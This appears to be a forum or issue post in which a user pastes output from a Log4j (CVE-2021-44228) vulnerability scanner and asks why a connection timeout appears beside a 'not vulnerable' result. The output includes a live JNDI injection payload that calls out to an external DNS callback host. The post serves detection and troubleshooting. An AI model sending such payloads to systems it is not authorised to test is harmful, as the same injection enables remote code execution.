Is it supposed to be?

[ZedViO]

Greetings. I've a problem. When I scan an URL, this text appears:

PS C:\Users\rybal\log4j-scan\log4j-scan> python log4j-scan.py -u http://XX.XXX.XX.XX/ --dns-callback-provider dnslog.cn
[•] CVE-2021-44228 - Apache Log4j RCE Scanner
[•] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform.
[•] Secure your External Attack Surface with FullHunt.io.
[•] Initiating DNS callback server (dnslog.cn).
[%] Checking for Log4j RCE CVE-2021-44228.
[•] URL: http://XX.XXX.XX.XX/
[•] URL: http://XX.XXX.XX.XX/ | PAYLOAD: ${jndi:ldap://XX.XXX.XX.XX.yp33wy.dnslog.cn/sy7netg}
EXCEPTION: HTTPConnectionPool(host='XX.XXX.XX.XX', port=80): Max retries exceeded with url: /?v=%24%7Bjndi%3Aldap%3A%2F%2FXX.XXX.XX.XX.yp33wy.dnslog.cn%2Fsy7netg%7D (Caused by ConnectTimeoutError(<urllib3.connection.HTTPConnection object at 0x000001F1500229F0>, 'Connection to XX.XXX.XX.XX timed out. (connect timeout=4)'))
[•] Payloads sent to all URLs. Waiting for DNS OOB callbacks.
[•] Waiting...
[•] Targets do not seem to be vulnerable.

It says that all's OK, but also writes a connection error. Is it normal?